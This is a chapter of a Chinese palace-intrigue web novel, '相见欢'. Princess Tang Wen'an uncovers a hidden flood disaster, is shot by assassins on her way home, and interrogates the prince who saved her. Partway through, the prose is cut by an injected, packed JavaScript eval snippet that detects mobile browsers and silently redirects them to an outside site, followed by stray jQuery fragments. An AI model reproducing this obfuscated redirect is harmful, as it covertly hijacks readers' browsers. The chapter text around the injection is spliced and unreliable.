3. 遇刺
作品:《相见欢》 一大早就被迫述职,来到书房的杨宫一脸怨气。
“今日休沐,殿下。”
书房门再次被打开,一名男子仪态懒散,哈欠连连地走了进来。
“殿下~”男子声音矫揉造作,一声殿下也能喊出一副山路十八弯的模样,“您久不召见臣了,干嘛将人家一大早从温香软玉中拉出来么……”
杨宫一阵恶寒,如果公主府有一栏最不想见到的同僚榜单,那面前的男子绝对断层第一。
“范易!公主面前你怎能如此衣冠不整,成何体统!”
范易撇了一眼杨宫丝毫不受影响直接就坐了下来:“我是谋士又不是官员,衣冠不整怎么了,殿下都没说什么呢,你说是吧,殿下~”
唐文安按了按眉心道:“好了,杨宫你也坐吧,不必时时刻刻拘着。”
范易撇撇嘴索性直接趴在了书案上,哼哼唧唧的说着:“殿下您召见易前来最好是有打紧的事,不然……易可是会哭的。”
杨宫实在不愿看到范易那副模样,直接撇过头去不在看他。
“此事兹事体大,本宫无法直接进宫告知陛下,必须要有确切的证据证实。”
原本还半阖着眼的范易坐直了身子,哪里还有半分散漫劲儿。
“殿下且说,臣定当全力以赴。”
杨宫对于范易的精分早已见怪不怪,沉默着等待唐文安的话语。
唐文安也不含糊道:“卞州水患极其惨烈,京城却无半点消息,工部早已被方国公所控制。现如今本宫只能让你们即刻赶往卞州,不论何种方法取得证据。
在发生民变之前务必将证据带回,水患无情,范易你必须要死死看护卞州救助百姓,在本宫赶到之前务必重视。”
杨宫沉默的看向唐文安:“殿下如何得知,是那位襄王殿下所说?殿下真就无条件相信了吗?”
唐文安郑重其事的看着杨宫,目光坚定:“哪怕这个情报是虚假的,但只要有千分之一的真实,本宫都赌不起。”
杨宫深吸了一口气,明白了唐文安的决心:“属下愿为殿下,前往卞州查明真相。”
唐文安郑重起身朝二人鞠了一礼:“此去卞州路途遥远,本宫却无法帮扶,你们二人许会遇到诸般险阻,本宫代百姓谢过二位。”
三人心里都明白,若此事真有方国公的手笔,那但凡他们有所行动就定然会被无止境的追杀。
此次嘱托亦是性命的交付。
辞别了二人唐文安当即策马赶入皇宫,这件事不能让对方有任何察觉,那么唯一的方法就是从皇后入手。
身为女眷唐文安出入后宫不会得到干预,这也给了她很大的便携。
凤仪宫内侍女将唐文安引进内室,皇后快步迎来解下唐文安身上的狐裘大氅,抬手心疼的摸了摸那被寒风吹的有些发白的脸颊。
“这么着急作甚非得策马赶来,这种天气就得让下人备好车马轿辇才对。”
唐文安手掌附上皇后抚摸自己脸颊的手,将其从自己脸上挪开退后了半步道:“儿臣身上寒气重,别把寒气渡到母后身上才好。”
皇后垂眸掩下失落转即浅笑着看向唐文安道:“文安久不前来,晚间母后将你父皇跟妹妹都喊来,咱们一家人好好吃个饭吧。”
唐文安看到了皇后眼中的失落,但对于这种亲近,自己确实很不自在心里默默叹了口气。
“好,便依母后所言。”
不论怎样,索性目的是达到的,方国公的耳目众多,但若是由皇后以家宴去邀请,即便传到方国公耳中也不会生出事端与猜忌。
傍晚当菜品上齐,皇后屏退众人只留下帝王一家。
唐文安抿了抿唇对于这种尴尬的氛围有些不知所措。
她总是作为一个臣子去面对帝王,但当一家人坐在一起时她却需要以一个女儿的身份面对父母。
因为儿时的走失她实在不知如何面对亲情,尤其是在这个于自己同胞的妹妹面前,她更是不知该如何开口。
皇后夹了一块肉放入唐文安的碗中,轻声细语道:“小安多吃些,你总不爱来母后这,自己在府中也不会照顾自己,母后明白你同文希不一样,不爱与我们亲近,但你总归是我的孩子。”
皇后声音有些哽咽没有再说下去,用帕子擦了擦眼角的泪。
皇帝见此叹了口气道:“文安若得空,也多来看看你母后吧。”
唐文安轻嗯了一声,对于这样的情景自己竟不知该如何开口说明水患一事。
一旁的唐文希察觉出了唐文安那焦躁的情绪开口点到:“姐姐好像有心事?”
唐文安愣了一瞬,对于自己妹妹突如其来的这句话投过一丝感激的眼神,深吸了一口气起身朝着帝王跪了下去。
皇后几步上前想要将人扶起:“皇儿这是做什么,什么事不能好好说非得行此大礼,快起来再跟你父皇说。”
对于皇后的行为皇帝表示默许:“此是家宴,你我也不是君臣,文安不必如此。”
唐文安倔强地不愿起身:“陛下,文安所奏之事干系重大,非君臣不可说也。”
皇后见此也明白了唐文安今日前来怕就是为了这件事,明白了其中利害,虽心中难免失落但还是善解人意的开口道:“陛下,臣妾带文希去看看前些日子,宫里送来的绣品。”
皇帝轻嗯一声,待二人走后房内便只剩下帝王与公主二人。
帝王抿了口茶心里也料到了这件事怕是很严重,不然唐文安也不会用如此迂回的方式来告知自己。
唐文安在心里默默想好措辞才斟酌着开口:“陛下可知卞州水患。”
看到帝王错愕的眼神唐文安心下了然,这么大的事却无丁点风吹草动进入帝王的耳朵。
这显然才是最可怕的问题,敌人远比自己所想的还要强大万分。
“文安可有证据,水患一事事关重大,况且卞州路远,朝廷尚且未出现丝毫消息,文安又是从何处得知?”
比起唐文安初听此事时的震怒情绪,帝王反而更能沉住气冷静询问前因后果。
唐文安并未隐瞒,将事件和盘托出后又补了一句:“儿臣已经暗中派人前去探查,快马加鞭也需三日才能将消息传回。此事虚假最好,但此事若为真那陛下就陛下要有所准备。”
待唐文安离开皇宫已是亥时。
皇城内非重大节日不得解除宵禁,此刻的街道上除了微弱的月光外,只有死寂。
突然一道破空声袭来,唐文安手握缰绳下腰躲过,暗箭堪堪擦过眼前,但凡晚那么一秒此刻自己就已经进入九泉了。
唐文安当机立断弃马逃跑,刺客见状果断追去。
老匹夫!本宫要是活着离开,离你的死期就不远了!
唐文安拼命躲闪,但奈何敌众我寡。
噗呲——一支暗箭穿透了唐文安的左肩,一瞬间的痛觉差点让唐文安就此倒地。
冷汗顺着脸侧滴落,唐文安只觉视线一些发黑,看到那些刺客撤退后,便明白了这箭上怕是有毒,内心不由苦笑。
看来这一次,好像是真的栽了。
在意识彻底昏厥之际,唐文安隐约看到了一抹青色身影心里默默吐槽道:“黑白无常似乎不穿青衣吧……”
意识回笼间唐文安只觉耳边吵嚷成了一团,感觉耳边实在不堪其扰唐文安奋力抬起眼皮。
原来没死成啊。
在一众人或关切,或啜泣中唐文安总算是清醒了过来,看到哭成泪人的春桃不免失笑。
“怕是本宫还没死,你便要把自己哭死了,笑一笑吧。”
春桃硬扯出一个笑脸,挂在那张哭的通红的脸上看着好不滑稽。
唐文安闷笑一声结果扯到了肩上的伤口,顿时疼的呲牙咧嘴。
“您不要再乱动了!”
唐文安就着春桃的搀扶坐起身来轻叹口气:“好了好了我知道了,你快将笑脸收一收,笑的比哭还难看。”
春桃跺了跺脚气的不想再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318054|167333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同唐文安讲话。
逗的好像有些过火,唐文安思索了一秒便摆正了脸色。
“谁把我救回来的?”
春桃慢慢停止啜泣拿帕子擦干眼泪这才回想起正事。
“是那位质子,当时都已深夜,那位敲门时身后的仆人抱着公主,一开始小厮还不知何事,结果当看到被斗篷盖住的您时,我们都吓坏了。”
唐文安愣了一下没想到救下自己的人竟会是他,内心顿时五味杂陈。
倒是孽缘。
“他如今人回去了么?”
春桃摇了摇头:“奴婢怕传出事端擅自做主将人扣下了,殿下放心,除了府上之人并无人知晓。”
便是这样才糟糕,唐文安心情复杂。
昨天自己都如此谨慎了,结果还是被方国公得知了消息,那么这消息的泄露必定不是处在后宫,就一定是公主府了。
“帮我穿戴好,我去见见他。”
书房内唐文安难得没有端坐在而是倚倒在贵妃塌上半阖着眼,戚千秋进门看到的便是此等场景。
“咳咳……”见状戚千秋轻咳,出声示意自己的到来,“殿下。”
唐文安抬眼看向来人,面如冠玉长身玉立,容颜似皓月,周身似清泉,眸色妩媚而不多情,那抹青色用给人增添了几分春意。
见唐文安久久不语戚千秋出声提醒道:“千秋昨夜将公主救回,却遭到公主囚困,如今公主醒来能否应允千秋回府?”
唐文安回过神来故作掩饰的轻咳一声:“景承便是这般看待本宫?本宫只是想感谢景承的救命之恩刻意留下招待,好尽地主之谊。”
戚千秋汗颜,这分明就是不打算让他离开,却还得表面欣喜:“多谢公主赏识,千秋自愿为殿下谋士,便一切以殿下为主。”
“这样啊……”唐文安细语喃喃,“千秋又是如何得知本宫遇刺呢?”
冷冽的眼神朝戚千秋投掷而去,本以为这件事可以糊弄过去,但眼下看来也只能和盘托出。
“殿下怕是要好好整顿一番公主府了。”
聪明人点到为止,多说无益。
哪怕自己已有猜测,但从他人口中说出唐文安还是很郁闷,她已经小心至极,却还能被人钻了空子,问题到底出现在哪呢?
许是戚千秋看出了唐文安心中所想,出声提醒道:“殿下不该只看近臣,不妨将视线往下放放?”
是了,往下。
外院的洒扫,膳房的看火,马厩的走卒,这些都有可能成为祸患。
“春桃!”唐文安高声喊到。
春桃赶忙进入书房担心唐文安是出了什么问题。
“昨日马厩里的值日人员都是谁,给本宫整合好送来。”
春桃应了声是,急忙前去查询。
书房中陷入了静谧,不多时春桃回来,不等唐文安开口询问什么便见春桃跪倒在地。
“殿下,昨日马厩值班的那个小豆子……他今日一早自尽了!”
“哈!”唐文安气急起身扯到了肩伤,本止血的伤势被重新撕裂,鲜血将左肩染红仿佛绽开的血花。
“好样的……他方国公真是好样的!斩草除根,意识到本宫未死便将证据全部铲除,哈!”
戚千秋拱手行礼,规劝道:“殿下息怒,此事即便是人还活着又能如何?敌人既能大胆行刺便是将后路封禁。殿下查不出什么的。”
“那该如何?任由他为所欲为么草菅人命吗!?”
唐文安快步走到戚千秋面前右手揪住了戚千秋的衣领仰头怒视着一脸平静无波的某人。
戚千秋静静的看着唐文安一字一句道:“君子报仇十年不晚,殿下此刻要做到的便是不乱阵脚,不然只会落入敌方圈套。”
戚千秋抬手附上唐文安的后背轻拍了两下,让震怒的唐文稍稍平静。
唐文安原本明亮的双眸此刻被阴霾笼罩,眼底翻涌着愤怒而凶狠的情绪,像是要从对方身上硬生生撕咬下一层血肉。